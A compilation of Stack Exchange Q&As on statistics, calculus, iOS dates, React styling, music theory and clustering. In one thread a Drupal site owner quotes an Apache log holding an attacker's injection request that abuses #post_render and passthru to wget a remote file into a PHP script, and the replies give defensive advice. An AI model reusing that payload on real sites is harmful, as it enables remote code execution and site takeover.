Is it possible for $X$ and $Y$ to be marginally normally distributed and have $ E[Y|X] $ be a nonlinear function of $X$?

Question: Is this at all possible?  What is the intuition for this?
Comment: After writing an answer I noticed that I'd read "E(Y|X) be a nonlinear function of X" instead of "of X" - was my misreading actually the meaning that was intended?
Comment: The bottom right image in Cardinal's answer to the duplicate provides a clear counterexample. The answer itself gives a constructive way to create such counterexamples (via copulas), giving some intuition about the situation. NB: $E[Y|X]$ is a function of $X$, not $Y$.
Comment: Another dup:  https://stats.stackexchange.com/questions/308775/conditional-expectation-of-two-identical-marginal-normal-random-variables/308831#308831
Comment: See the example in the later part of the answer to [this](http://stats.stackexchange.com/questions/125648/transformation-chi-squared-to-normal-distribution/125653#125653) question.
Answer: This is possible, here's one example that comes to mind.
Let $X ~ \sim \mathcal{N}(0,1)$ and let $Y$ have a truncated standard normal distribution on $[0, \infty)$ if $X \geq 0$ and on $(-\infty, 0)$ if $X < 0$. Then the marginal distributions of $X$ and $Y$ are both standard normal, but $\mathbb{E}(Y|X)$ is a non-linear function of $X$.
In particular, if $X \geq 0$ then $Y$ has a half-normal distribution so has mean $\sqrt{\frac{2}{\pi}}$, and by symmetry if $X < 0$ then $Y$ has mean $-\sqrt{\frac{2}{\pi}}$. Overall $\mathbb{E}(Y|X)=\sqrt{\frac{2}{\pi}}$ for $X \geq 0$ and $-\sqrt{\frac{2}{\pi}}$ for $X < 0$ so is indeed a non-linear function of $X$.
My personal intuition for this choice was to think about "chunks of probability" of $X$ - then on each chunk, what conditional distribution could I set for $Y$ that would ensure both that (i) the marginal distribution of $Y$ is normal, (ii) the conditional mean of $Y$ is not a linear function $X$. The latter can be achieved easily if a discrete chunk of $X$'s probability distribution is taken and the same conditional distribution of $Y$ is used for all $X$ in that range. This means that $\mathbb{E}(Y|X)$ is the same for all $X$ in that interval, i.e. is just a constant function of $X$. So long as it is a different constant function of $X$ over a different interval of $X$, then the conditional mean  must be a non-linear function of $X$ overall.
I went for the easiest case of splitting the distribution of $X$ up into two parts with probability of $\frac{1}{2}$ each. After that, it was clear that the half-normal distribution would be a good choice for the conditional distribution of $Y$ - it's just a matter of gluing two sides back together to get the entire normal distribution as the marginal. If I'd wanted to something fancier, I could have cut $X$ up into many such chunks, possibly irregular, and selected appropriate truncated normals for the conditional distributions of $Y$ over each chunk. The question asks for the underlying intuition, and this is the thought process that resuilted in my solution, but if you want to generalise more widely you are best to think about the copula.
Comment: This is Example 3 in Moderator cardinal's answer (attributed to an answer of mine though I lay no claim to being the first one to come up with the idea) to the [duplicate question](http://stats.stackexchange.com/q/30159/6633) pointed out by Moderator whuber.  Also, may I suggest that you amend your last paragraph to clarify that it is $E[Y\mid X]$ that has value $\pm\sqrt{\frac{2}{\pi}}$ according as $X$ is positive or negative and so is a nonlinear function of $X$?
Comment: It is interesting to compare $E[Y\mid X]$, the optimum (not necessarily linear) minimum-mean-square-error estimator for $Y$ given $X$ with the _linear_ minimum-mean-square-error estimator for $Y$ given $X$. For _jointly_ normal random variables, the two estimators are the same, while in this instance they are not.
Comment: @dilip Yes I noticed it matched Example 3 when whuber marked the duplicate. I have tried to clarify as you suggested. Since the question asked for "intuition" I have attempted to explain the thought process, though I'm unsure how successful this has been!


loring tu proposition 23.4 help

Question: Suppose $f:U\rightarrow \mathbb{R}$ is continuous, $U$ is open in $\mathbb{R}^n$ and $suppf\subseteq U$ is compact. Then $f$ is Riemann integrable on $U$.
Put $k=suppf$.
The proof starts of by saying: "Being continuous on a compact set, $f$ is bounded."
However, wouldn't this imply that the function $f|_{K}$, is bounded, as opposed to $f$?
Obviously, by Heine Borel, $suppf$ is closed and bounded in $\mathbb{R}^n$. Now Loring attempts to show that the extension of $f$; $\hat{f}$, is continuous on $\mathbb{R}^n$. This is easy to show, but then he sais that this implies (by Lebesgue's theorem) that $f$ is integrable on $U$. My point is that, by Lebesgue's theorem, $f|_{K}$ is integrable, not necessarily $f$.
What am I missing?
Comment: If $f$ is bounded on $K$ it is also bounded on $U$ since it is $0$ outside $K$. (Assuming that $K$ refers to the support of $f$)
Comment: @leoli1 may you also please answer my question in the comments to Yuvals answer
Answer: $K=$supp$f$ is a compact set and $f(x)=0$ for $x \in U \setminus K$ by the definition of support.  https://en.wikipedia.org/wiki/Support_(mathematics)
If the ball $B(x,R)$ contains $K$ then the integral of $f$   on $U \cap B(x,R)$ does not depend on $R$ or $x$, so you can define the integral of $f$ on $U$ as this common value.
Comment: of course! thanks
Comment: With regards to my other question, $U$ is not bounded and Riemann integration is defined on bounded sets, but Loring claims that $f$ is Riemann Integrable on $U$.
Comment: So just to clarify, the following is a definition: If $f:U\subseteq \mathbb{R}^n\rightarrow \mathbb{R}$ is a function and $U$ is open, if $suppf\subseteq U$ and $suppf$ is compact, then we define $\int_{U}f=\int_{supp f}f$ provided the integral exists, and say that $f$ is Riemann integrable on $U$. Right?
Comment: I meant say $f$ is bounded
Comment: This would work, though as you say usually the (proper) Riemann integral is only defined on bounded sets. I don't know what definition your textbook used.
Comment: The textbook I'm using is Loring Tu's book,intro to manifolds, he defines the Riemann integral on bounded functions on closed rectangles. Then he defines integrals of $f:A\rightarrow \mathbb{R}$ where $A$ is bounded and $f$ bounded by their extension, $\hat{f}$, which is 0 outside $A$ and in $A$, $f$ and said $\int_{A}f=\int_{R}\hat{f}$ provided it exists and R is a closed rectangle enclosing $A$. But he doesn't define them for arbitrary sets. So the definition above is the definition I constructed

loring tu proposition 23.4 help


Serial communication with Xtralien potentiostat not working?

Question: I am trying to set up a potentiostat Xtralien by Ossila with LabView.
The way the instrument works in a string-in, string-out, so far so good.
The built-in code examples that are provided by the manufacturer contain firstly a string-in, string-out LabView program and secondly a preliminary console to record an I-V sweep (https://www.ossila.com/pages/basic-xtralien-commands-in-labview, https://www.ossila.com/pages/xtralien-x100-command-list). In the string interface, I can enter 'CLOI hello' and the device responds 'hello world', so far so good. If I proceed any further and send i.e. a 'smu1 measurev' command connecting to some photodiode, I just receive a near-zero value back, setting 'smu1 set voltage 0.5' or similar does not lead to an output voltage either. Running the sweep program over said photodiode gives noise in the µA range.
EDIT: All involved hardware components were double-checked.
Where am I doing something wrong? Is the error arising from communication errors or...? Has someone experienced this so far?
Comment: Have you tried to send any of these commands with a different serial terminal tool such as Putty?
Answer: Received the answer from the Ossila support. The Xtralien X200 drivers were recently updated (http://files.ossila.com/source-measure-unit/Ossila-X200-SMU-Instr.zip), and you need to switch on each SMU channel sperately. This was implemented in a subVI in the Instrumentation -> X200.
Hope I helped all who get a similar problem in the future!


creating a wrong NSDate

Question: This is the code
  NSDateComponents *comps = [[NSDateComponents alloc] init];
  [comps setDay:13];
  [comps setMonth:6];
  [comps setYear:2015];

  NSCalendar *gregorian = [[NSCalendar alloc]
                           initWithCalendarIdentifier:NSGregorianCalendar];
  NSDate *date = [gregorian dateFromComponents:comps];

NSLog(@"date = %@", date);

the result is 2015-06-12 23:00:00 +0000
12? the day is 13!!!
Why is that happening? Bug?
Answer: The problem is with the way NSLog() and the NSDate description method display the date which is in GMT (UTC). Notice the time offset: "+0000" which is probably not your timezone.
All dates are stored internally in GMT. To obtain a string in the current or another time zone use NSDateFormatter.
Comment: This is Apple always doing it in an intuitive way. Thanks!
Comment: You can set the `NSCalendar` instance's timezone to UTC if that's what you want.
Comment: Yeah, key point is: *NSLog is for debugging*. What different objects log is undocumented and therefore version dependent. It's not something you ever show to a user. So `NSDate` can log any way it likes, and is being fully explicit about deciding to log in GMT via the `+0000`. You don't even need the "all dates are stored internally in GMT" fact; it's basically none of your business how they're stored.
Comment: Sure, you don't need to know how Apple stores dates but Apple actually states that dates are stored as: "the absolute reference date used by NSDate (the first instance of 1 January 2001, GMT)". But it does help to understand that dates are not stored in the user's local timezone.
Comment: `NSLog()` is primarily for logging, *not* for debugging. (That's, why it is called `NSLog()`). In logs it is usually useful to have a world-wide defined time.
Comment: Of course it is a little deeper than that as `NSLog()` just uses the `description` method which should only be used for debugging/logging. So it is the `description` method that determines how `NSData` objects are logged.

creating a wrong NSDate


uncaught TypeError: Cannot read properties of undefined (reading 'up') in react while using material UI

Question: Hello I am using react js with material UI but I am getting error in my code which is given below
import styled from '@emotion/styled';
import { Grid, Typography } from '@mui/material';
import { Box, Container } from '@mui/system';
import React from 'react';
import burger from '../../static/burger1.jpg';
import meat from '../../static/meat.jpg';
import appetizer from '../../static/appetizer.jpg';
import drinks from '../../static/drinks.jpg';

const Hero = () => {

  const StyledCard = styled(Box)(({theme})=>({
    display:'flex',
    justifyContent:'center',
    backgroundRepeat:'no-repeat',
    backgroundPosition:'center',
    backgroundSize:'cover',
    cursor:'pointer',
    [theme.breakpoints.up('md')]:{
        height: 400,
    },
    [theme.breakpoints.down('md')]:{
        height: 200,
    },
    "&:hover":{
        opacity:0.8,
        boxSizing:'border-box',
        zIndex:1,
        transition:`all 0.45s ease`,
    },
  }));

  const StyledTypography = styled(Typography)({
    textAlign:'center',
    color:'white',
    backgroundColor:'tomato',
    fontSize:20,
  });

  const Styledwrapper = styled(Box)(({theme})=>({
    [theme.breakpoints.up("md")]:{
        paddingTop:'140%',
    },
    [theme.breakpoints.down("md")]:{
        paddingTop:'40%',
    },
    width:"80%",
  }));

  return (
    <Container>
        <Grid container direction={'row'} columnSpacing={2} rowSpacing={2}>
            <Grid item md={3} xs={6}>

                    </Styledwrapper>
                </StyledCard>
            </Grid>

            <Grid item md={3} xs={6}>

                    </Styledwrapper>
                </StyledCard>
            </Grid>

            <Grid item md={3} xs={6}>

                    </Styledwrapper>
                </StyledCard>
            </Grid>

            <Grid item md={3} xs={6}>

                    </Styledwrapper>
                </StyledCard>
            </Grid>

        </Grid>
    </Container>
  )
}

export default Hero;

Error : react-refresh-runtime.development.js:315 Uncaught TypeError: Cannot read properties of undefined (reading 'up')
at Hero.js:19:1
Please help me on this as I am trying to implement react js with Material UI and also trying to implement styled components
Answer: You're not importing styled correctly. it should be
import { styled } from "@mui/material/styles";

instead of  :
import styled from '@emotion/styled';


G.P. and Infinite Series Problem

Question: How many terms of the geometric series 7, 7/2, 7/4, 7/8, ... must be taken in order that the sum may differ from the sum to infinity by less than 0.01? (Ans: 11 terms)
Some help, please?
Comment: @jspecter: I don't even know how to start doing it when I saw this question.
Answer: Hint: Let $x=1/2$ in the formula
$$
1 + x +x^2 + \cdots + x^n = \frac{{1 - x^{n + 1} }}{{1 - x}}.
$$
EDIT:
Let $S_n$ be the $n$th partial sum, so that
$$
S_1 = 7,
$$
$$
S_2 = 7 + 7/2 = 7(1+1/2),
$$
$$
S_3 = 7 + 7/2 + 7/4 = 7(1+1/2+1/4),
$$
from which you can conclude that
$$
S_n = 7 (1+1/2+\cdots+1/2^{n-1}).
$$
Further, let $S$ denote the sum to infinity, so that
$$
S = 7 (1+1/2+1/4+\cdots) = 7 \cdot 2 = 14.
$$
You are asked to find the least $n$ such that
$$
S - S_n < 0.01.
$$
Noting that
$$
S_n = 7 (1+1/2+\cdots+1/2^{n-1}) = 7 \frac{{1 - (1/2)^n }}{{1 - 1/2}} = 14(1 - 1/2^n ),
$$
it remains to find the least $n$ such that
$$
14 - 14(1 - 1/2^n ) < 0.01,
$$
or
$$
14/2^n < 0.01,
$$
or
$$
2^n > 1400.
$$
Since $2^{10} = 1024 < 1400$ and $2^{11} = 2048 > 1400$, the answer is $11$.
Comment: @GEdgar: "the least $n$" (rather than "some $n$") corresponds to "must be taken" (rather than "can be taken").
Comment: Furthermore, it doesn't ask for the *least* $n$, just some $n$ that works.  In this case we can find the least $n$ as seen, but in many cases it is more convenient to work with estimates, rather than exact formulas for the partial sums, and then we can still find an $n$ that works.
Comment: And anyway, the OP mentioned that the answer is "$11$ terms".
Answer: Do you know how to sum a geometric series?  Basically you are being asked how late to start so that the sum from there on is less than 0.01.  So if you write the sum starting from $n$ to $\infty$ you should be able to find $n$ that meets this.  A geometric series stays geometric if you cut off some of the first terms.
Answer: HINT:
We know how to sum geometric series ($\dfrac{a_0}{1-r}$ where $a_0$ is the first term and $r$ is the ratio). We also know how to sum partial geometric series, by either directly adding them up (applicable here) or by recalling some useful formulas.
You could subtract these, or you could realize that the difference is just another geometric series with a different starting point.

G.P. and Infinite Series Problem


Permutation test for two distributions with the same mean but unequal variance

Question: I am using the coin package in R.  For two distributions with the same mean but different variance, the test is unable to reject the null hypothesis that the two distributions are the same.
numSamples <- 100
numSimulations <- 100000
df1 <- data.frame(y=rnorm(numSamples, mean=0), label='A')
df2 <- data.frame(y=rnorm(numSamples, mean=0, sd=10), label='B')
df <- rbind(df1, df2)

kruskal_test(y ~ as.factor(label),
             distribution=approximate(B=numSimulations-1),
             data=df)

    Approximative Kruskal-Wallis Test

data:  y by as.factor(label) (A, B)
chi-squared = 0.82617, p-value = 0.3658

I tried both the Fisher-Pitman oneway_test() and the Kruskal-Wallis test kruskal_test().
Are there non-parametric tests that can tell whether two sets of data have the same variance or not?
Answer: Both oneway_test() and kruskal_test() are tests for differences in the mean in $k$ samples (with $k$ potentially $> 2$). The former corresponds to a parametric ANOVA whereas the latter is a rank-based test (also of ANOVA-type).
For assessing differences in scale/variance, various other choices of tests are available: both classical and rank-based. Two prominent examples are the Mood test and the Ansari-Bradley test which are easily available with convenience interfaces in coin. And these lead to clearly significant results:
mood_test(y ~ as.factor(label),
  distribution = approximate(B = numSimulations - 1), data = df)
##  Approximative Two-Sample Mood Test
##
## data:  y by as.factor(label) (A, B)
## Z = -10.649, p-value < 2.2e-16
## alternative hypothesis: true ratio of scales is not equal to 1
ansari_test(y ~ as.factor(label),
  distribution = approximate(B = numSimulations - 1), data = df)
##  Approximative Two-Sample Ansari-Bradley Test
##
## data:  y by as.factor(label) (A, B)
## Z = 10.702, p-value < 2.2e-16
## alternative hypothesis: true ratio of scales is not equal to 1

But in coin there are also further tests for scale differences and you can easily set up new custom tests on the fly. See the four coin package vignettes for more details, e.g., starting with vignette("coin", package = "coin").
Comment: The _Mood test_ refers to a univariate numeric response so that is what `mood_test()` checks for. You can easily generalize this to bivariate responses in `coin` by applying the Mood transformation to each of the responses and then computing a max-type (default) or quadratic-type test statistic. For example, set up a trafo: `mtrafo <- function(data) trafo(data, numeric_trafo = function(y) mood_trafo(y, ties.method = "mid-ranks"))`. And then apply it via: `independence_test(y1 + y2 ~ label, data = df, ytrafo = mtrafo)`. It would be _a Mood-type test_ but not _the Mood test_, though.
Comment: Oh, and `?mood_test` lists several other tests for scale alternatives. And `vignette("LegoCondInf", package = "coin")` explains the _Lego toolbox_ that `coin` provides and how you can plug and play with new test statistics on the fly.
Comment: Please create a new question for this and I'll post an explanation with a code example.
Comment: For bivariate distributions, I could not get the tests such as `mood_test(mood_test(y1 + y2 ~ as.factor(label), ...)` to run.  I get an error ``'y1''y2' is not a numeric variable``.  The only one that works for me is `independence_test(y1 + y2 ~ as.factor(label), ...)`.
Comment: Is there a test that will determine whether two multivariate distributions have the same covariance matrix $\Sigma$?  One use case is we have $y_1, y_2 \sim \mathcal{N}(0, 1)$ but the correlation $\text{corr}(y_1, y_2) = \rho$ might vary.
Comment: That essentially corresponds to checking whether `(y1 - mean(y1))/sd(y1) * (y2 - mean(y2))/sd(y2) ~ label` has a location shift.
Comment: I don't think so, because in my example, `mean(y1) = mean(y2) = 0` and `sd(y1) = sd(y2) = 1`, but `rho` can be of any value in $[0, 1]$.  Maybe I can compute `corr(y1, y2)` along with the confidence interval.
Comment: I created a new [question](http://stats.stackexchange.com/questions/252179/permutation-test-for-two-multivariate-distributions-with-the-same-mean-variance) per your suggestion.


Sites hacked across login pages

Question: My Drupal 7 sites were hacked many times, and I find everytime some files created by the hackers.  Even though I did the security update, that didn't prevent the hackers to access to the server.
Recently I saw the Apache log and I found some serious security problems. They try accessing across the login form on /user and some files in the file module folder.

POST /?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=wget%20-c%20g.wpblogapi.com/acui/innc.zip%20-O%20tmps.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:188.8.131.52) Gecko/20091201 Firefox/3.5.6

GET /modules/file/tests/lbuzsboe.php HTTP/1.1" 404 - "..../modules/file/tests/lbuzsboe.php

Please provide me your suggestions to resolve this problem. I have no experience on web security.
Comment: As long as they don't 'come through' and get the 404's, your site is not vulnerable and you are fine. They just try. If you find you want to block such requests, you'd need to find a scheme behind them and explicitly have to create blocking rules in your webserver. However, that is off-topic in this group. Therefore, I recommend to close this question.
Comment: here is a good read on compromised drupal 7 sites https://drupal.stackexchange.com/questions/133996/drupal-sa-core-2014-005-how-to-tell-if-my-server-sites-were-compromised
Comment: I am not sure which problem you see. The response for those requests is a 404 error, which means they **don't** have access to pages they should not see. They are even using the wrong URLs.
Comment: Also, with the first request, they aren't even trying to log in. I guess they are trying to retrieve the password, but it doesn't work like that, on Drupal.
Comment: @kiamlaluno you're right, but it's just two lines  from hundreds of lines and many access log files, they attack a number of drupal 7 in the server with same way.
Comment: Nothing there indicates your site has been compromised.
Comment: @MarioSteinitz I don't know, but they access somehow via a form, and they create files and delete index.php , so it's not off-topic.
Answer: I had this problem before with some friend about files folder
The solution to this problem is:
1.- in your apache conf or nginx conf or .htaccess disable all formats php in the path /files/*
2.- if you have the opportunity change the permissions to the folder but the first point works, they will upload files php but, they will not run it.
3.- remove estrange files php and search for every file that contains text like base64, search something about this in google or other searcher.
They enter by a port using exploits and add a file like image.php.jpg, and after the file is uploaded, they change the name to image.php (it is not the real name but you get the idea).
That file is an php form, they upload files php through it, like a command line and do a lot of things...
I hope this help you.
Comment: Thank you, I will follow  the steps in  your solution and I'll come back to tell you the result, thank you so much

Sites hacked across login pages


E# note in the D# Major scale. What does it mean?

Question: I've been having this doubt for a quite a while and haven't been able to find a satisfying answer. Is the 'E#' note technically an F? If so, why does it not exist on the chromatic scale like other sharps? I mean, what exactly is the E#? Is it a note on its own or is it just another way of saying F?
And what do people mean when they say that the D# Major scale is theoretical major scale and why it does not exist in the circle of fifths diagram?
I came across the last paragraph on a website.
Comment: Welcome! The part of your question about E# and F has been answered here previously: https://music.stackexchange.com/questions/23782/if-between-e-and-f-is-a-halftone-why-can-f-not-be-an-e%e2%99%af
Comment: Possible duplicate of [If between E and F is a halftone, why can F not be an E♯](https://music.stackexchange.com/questions/23782/if-between-e-and-f-is-a-halftone-why-can-f-not-be-an-e%e2%99%af)
Comment: @NeilMeyer What do you call `D♯ E♯ F G♯ A♯ B♯ C D♯`?
Comment: @Peter - it's a similar question, but from a different viewpoint. Possibly not a dupe, asking about a specific key. (Why, I don't know!).
Comment: @Peter - now it's a fair dupe!
Comment: There does not exist a scale called D# Major, the scale on that degree is called Eb Major. The only Major scales with sharps in their name is C# and F# Major.
Answer:
E-sharp is called the enharmonic equivalent of F-natural.  The sharp raises the base note one half step.  In the same way B-sharp is the enharmonic respelling of C-natural. Furthermore, C-flat is the enharmonic of B-natural, and F-flat enharmonic of E-natural. Notes may also be double-sharped and double-flatted, which raises the base note by two half steps.
The key of D-sharp could be considered a theoretical scale because it doesn't appear on the basic circle of fifths is simply because it is a scale that contains these enharmonics, and traditionally composers write this as E-flat to avoid the enharmonic spelling of the second scale degree, F-natural, which is enharmonic with E-sharp, the second degree of D-sharp major, and no one likes reading parts with double-sharps in the key signature (shudder). The seventh degree of the D-sharp major scale is C-double-sharp.  D-sharp major chords definitely exist in music and we play enharmonic spellings all the time.
Comment: @ Richard Barber- that's often true, but not in this context.  If you are talking about D# and Eb major scales, then the relationships would be exactly the same: D# and Eb are the tonics, E# and F are the supertonics, and so forth.  There would be no reason to play D# and Eb differently in this case: the scales would be identical.
Comment: also note many fretless string instrument players will tell you that D# and Eb are played totally differently, and has different intonation etc.  indeed it may influence position and fingering for all string players, but the effective difference is not heard on fretted strings.
Answer: (In addition to Tim's great answer, I wanted to introduce another important term and a slightly different way of thinking of it.)
Whenever we see a pitch that is raised from its expected form in the diatonic scale, it is often (although not always) understood as a temporary leading tone. By "leading tone" we mean it's the seventh scale degree, and since E♯ is the seventh scale degree of an F♯ scale, we say that this E♯ is the temporary leading tone of F♯.
Even though this E♯ is the exact same note as F on a modern equally tempered piano, their spellings tell us how the two pitches function. E♯ is scale-degree 7 of F♯, whereas F is scale-degree 7 of G♭. Even though E♯ and F sound the same—we say that they are *enharmonic—they have very different functions.
As for D♯ major being a theoretical key, this just means that it has at least one doublesharp or doubleflat in its key signature. D♯ actually has two doublesharps—F and C—so it is a theoretical key. (See also Where do the double accidentals go in "theoretical" key signatures?)
Comment: This is interesting, I didn't know about 'temporary leading tone' in this particular way. So if we were in Cm and then raised A flat to A natural we have the temporary leading tone of Bb major. If this was modulation or tonicization to Gm would the wording still be used?
Comment: @MichaelCurtis In that case, no. (Hence the "it is *often* understood...") Furthermore, this E♯ could just be a chromatic passing tone between E and F♯. Without seeing the original musical example, I explained what was most likely the scenario encountered.
Comment: Thanks for the compliment! Not heard of 'temporary leading tone/note', but as you say it's a non-diatonic note (that pesky E#), wouldn't it be a genuine diatonic leading note in that key (F#)?  I'm also concerned about (not related to your answer) D# = Eb. As the third or sixth of a key, maybe, but as the root, isn't it two ways of describing the exact same pitch?
Comment: But note that in the case of THIS question, E# is a straightforward diatonic note, the 2nd of D# major.
Comment: @LaurencePayne You're absolutely right! I very stupidly wrote the first half of my answer thinking in terms of D major. Yikes!
Answer: E# is not technically F, only in equal tempered tuning.  That's the first cause of concern.
The degrees of any scale follow a sequence and that sequence is never broken.  The note names follow the "musical alphabet" {A, B, C, D, E, F, G} then repeat.  Accidentals are needed to preserve the whole step - half step sequence {1, 1, 1/2, 1, 1, 1, 1/2} which is two tetra chords separated by a whole step.  The numbered degrees are simply {1, 2, 3, 4, 5, 6, 7}.  So for example, in the Key of E the degree letter names are {E, F, G, A, B, C, D} repeat.  To preserve the steps we raise or lower notes as needed, for this example we get {E, F#, G#, A, B, C#, D#}.  The second degree of E is always an F of some sort (period).  Now in your example the key is D#.  The correct way to name notes is to take D and just make everything #, Key of D = {D, E, F#, G, A, B, C#}.  The key of D# would be {D#, E#, F##, G#, A#, B#, C##}.  If the E# bothers you, why not ask about the futility of F## and C##?  Using enharmonicity of the equal tempered tuning one would usually notate this key as Eb, which takes a lot less effort to notate correctly.
Answer: For starters, there isn't an E# in the D major scale. There's E and there's F#. If you're asking why there may be E# found in a piece that's in D major, that's slightly different.
Sometimes certain notes that are non-diatonic need to be used. That's maybe where E# could come in. Let's say the chord sequence goes from D major into F# minor. There's often the V of the new chord that precedes it. Here, it would be C# or C#7. Now the spelling for that is C# E# and G#. It is not spelled C# F and G#.
There are other times and reasons why some notes are written in 'strange' ways, but there are generally good technical reasons for them. And just because these notes happen to be white keys on a piano doesn't mean they can't be called # or b. These being - B#, Cb, E# and Fb. Of course, for beginners, things like E# sound pretty silly, why not F instead? Correctness and technical reasons!
EDIT - now the question has been edited, this answers a rather different one! Thanks! I'll leave this up for now, (OP originally asked about E# in a D major key), as it goes a little way. Luckily, I noticed the edit, otherwise I'd look even more stupid than usual.
Comment: Haha, I initially meant to put D#. A simple typo, but it resulted in a new and innovative answer. :D


Simple example of how "Bayesian Model Averaging" actually works

Question: I'm trying to follow this tutorial on Bayesian Model Averaging by putting it in context of machine-learning and the notations that it generally uses (i.e.):
X_train: Training Array; dims = $(n, m)$;
y_train Target Vector; dims = $(n, )$ that you fit with the Training Array (correct values);
x: input vector of attributes for a sample; dims = $(m,)$; and
y: output prediction value; $(1,)$ scalar [scalar for simplicity] of prediction values).
These are all described below in the context of Bayesian...
.
Source describes this as a Class of models indexed by $m$:
$$P(y| x,\theta, m)$$
$\theta$ : Set of model parameters;
$m$ : The model index in a set of models
.
Bayesian Model Selection:
$$P(y|x,D) = $$
$x$ : Input Data : $(n_{test}, m)$ shaped input array (rows = samples, cols = attributes);
$y$ : Output Prediction : $(n_{test},)$ length output vector of predictions based on $x$;
$D$ : Training Data : A tuple containing (i) $(n_{train}, m)$ array of (rows = samples, cols = attributes); and (ii) $(n_{train},)$ length vector containing the actual value/category described by training array
(please let me know if this is confusing and I will elaborate)
$$ = \int P(y|x,D,m)*P(m|x,D)dm$$
$$P(y|x,D,m) = \int P(y|x,\theta,m)*P(\theta|D,m)d\theta$$
$y$ and $x$ are independent of the $D$ given $\theta$
The video says that this averages over the probabilities that are predicted for each of the models.  The weights that you average with are $P(m|x,D)$ posterior distributions on $m$ given $D$.
My confusion:
Can someone please describe how this is averaging over models? Do you end up with a posterior that is created with all of the models? Where does the prior go in this context?
How does integrating over all the models average them? From what I remember, integrating gives you area under the curve but in statistics I often hear the term "summing/integrating out" parameters/variables.  What does that mean exactly?
Please provide a simple example so I can understand how this works :)  It will definitely be useful for people trying to understand how Bayesian Model Averaging works exactly. I will put a link to this on that video because I know other people were confused as well.
Answer: One simple example of model averaging is when you are deciding the order of a polynomial model
$$y_i=\sum_{j=0}^kx_i^j\beta_j+e_i $$
So you don't know the betas and you also don't know the value of $k $.  And $e_i\sim N (0,\sigma^2) $.  For fixed $k $ you have a least squares problem - with a proper prior it is "regularized" least squares.  When you do model averaging, you can think of a weighted average of the predictions for each $k $.  The weights will be proportional to something like $\exp (-\frac {1}{2}BIC_k) $ in cases where the prior on the betas and the polynomial order are fairly uniform ($BIC_k $ is the bayesian information criterion for the least squares model of order $k $).
Comment: By weighted average, do you mean that every model will have a certain least square error [LSE] and when you account for every single model in the model space, you get a distribution of model fits/accuracies?
Comment: if you get a chance, can you correct my logic on this question? http://stats.stackexchange.com/questions/212772/pymc3-to-create-simple-bayesian-linear-regression-model-with-sklearn-dataset I feel like I'm getting lost in my idea of the model creation.
Comment: With standard least squares models, the distributions are normal distributions.  So you only need the means and variances.  Handy when figuring out what to compute.  There is also lots of R packages - inla, bma, laplaces demon to name a few.  I also think you would benefit from applying the generic bayes formula to a specific model.  For example, the likelihood in the above model $p (y_1,\dots y_n|\beta_0,\dots,\beta_k,k,\sigma^2,x_1,\dots x_n) $
Answer: I think it might help to think of this as a two-level "meta-model". You have some collection of individual models (indexed by $m$), and then you have a meta-model, which is a distribution over the individual models (or equivalently, a distribution over values of $m$).
You can think about the model averaging as working in two steps:

First, you get the posterior predictive distribution for each model $m$ by integrating out its model-specific parameters $\theta$:

$$ P(y|x, D, m) = \int P(y|x, D, \theta, m)P(\theta| D, m)d\theta $$

Then you get the posterior predictive distribution for the meta-model, now integrating out the distribution over the models:

$$ P(y|x,D) = \int P(y|x, D, m)P(m|x, D)dm  $$
Then in the machine learning context you would make predictions about $y$ based on its posterior predictive distribution given the observed covariates $x$.
To answer your question, the second step is where this is model averaging. When you "integrate out" or "sum out" a parameter  (incidentally, you can think of these as the same operation for continuous and discrete distributions respectively), that's equivalent to taking the expected value of some quantity (i.e. averaging) over that parameter. In this case, you're taking the expected value of the posterior density of $y$, which is the definition of a posterior predictive distribution.
As for priors, you're going to have two sets of them in this model: a prior for each model $m$, and a prior for the meta-model over different $m$. They will factor into determining the posterior distributions over parameters that we've integrated out (i.e. $P(\theta|D,m)$ and $P(m|x,D)$).
I will point out that in this model the authors have apparently specified that the posterior over $m$ might depend on the test predictors $x$, but the posterior over $\theta$ does not. That is, $x$ might influence how you weight the different models, but not how you weight the parameters of each individual model. I don't think that's a crazy choice, but it's not the only way to do this.
Okay. An example. I can't think of a machine learning example that's simple, but here's an easier textbook statistics example. In this model the individual models are going to be normal distributions with a fixed variance $\sigma^2$, and a random mean $\mu$. The collection of distributions (the meta-model) is over different values of $\sigma^2$. So here $\theta = \mu$ and $m = \sigma^2$. The standard prior for $\mu|\sigma^2$ is a normal distribution, and then the prior over $\sigma^2$ is an inverse-gamma distribution. You can show that the posterior predictive distribution $y$ over $\mu$ given a fixed value of $\sigma^2$ is another normal distribution with its mean pulled in the direction of the sample mean. Then you integrate out (model average) $\sigma^2$, and the posterior predictive distribution becomes a Student-t distribution over $y$. Essentially, you get something that looks kind of like a normal distribution, but it has fat tails because you've averaged over different possibilities for the variance.
Comment: Thanks Jordan, the only part that is hard for me to visualize is the idea of integrating over the models.  I can visualize integrating over the parameters b/c each parameter would have a distribution of values w/ probabilities.  When you're "integrating over the models", for every model, is that essentially getting all of the possible predictions for $y$ that would come out that model $m$ and getting the expected value of that particular model $m$?  The models themselves wouldn't have an actual value, but it would make sense if the values your integrating over are the predictions of $m$.


Combining continuous and binary data in unsupervised learning

Question: I am working on cluster detection applied to housing data. Each data point has some continuous features, such as house size, and some discrete ones, such as the number of garages (0 or 1).
At the moment I scale each feature to the unit interval, then run PCA, and feed the PCA components to a clustering algorithm (HDBSCAN).
What I'm worried about is that all the binary features will then be represented at the extremes of the unit interval. In other words, the garage feature difference between houses with and without garages (both fairly common) will be as extreme as the size feature difference between the single smallest and single largest houses in the data set.
If this were supervised learning, I'd expect the learning algorithm to compensate for any problems caused by this by assigning a lower weight to the binary feature if this is a problem. As I am new to unsupervised learning, I am not certain how to reason about this.
Some specific questions:

Am I correct in worrying about this in the first place?
Does running PCA reduce/fix any problems?
Is there an established 'best practice' for cases like this (I have not been able to find one)?
Comment: Interesting questions. I don't have an answer now, but some suggestions:
- did you try using standard scaling instead of min-max scaling? Have you heard about Generalized Low Rank Models? In the 'PCA on a DataFrame' paper authors seem to be addressing something similar to your question
Comment: We haven't tried standard scaling yet, but it's one of the options we considered. However, I figured this problem must be fairly general and hoped there would be one, or a few, standard approach to tackling it.
Answer: PCA includes a rotation and a scaling component. You may want to use only one. Or neither, actually.
The better approach is to use a metric for mixed data such as Gower's distance.
Comment: Gower scales each feature to have an influence of 1, liked min-max-scaling. PCA reduces the effect of correlated features, for example, and is more related to standardization than min-max-scaling. Which even increases the effect of variables way beyond the unit interval. Try it on a single variable with 1x the value 1 and 99x the value zero. Sure that is what you want?
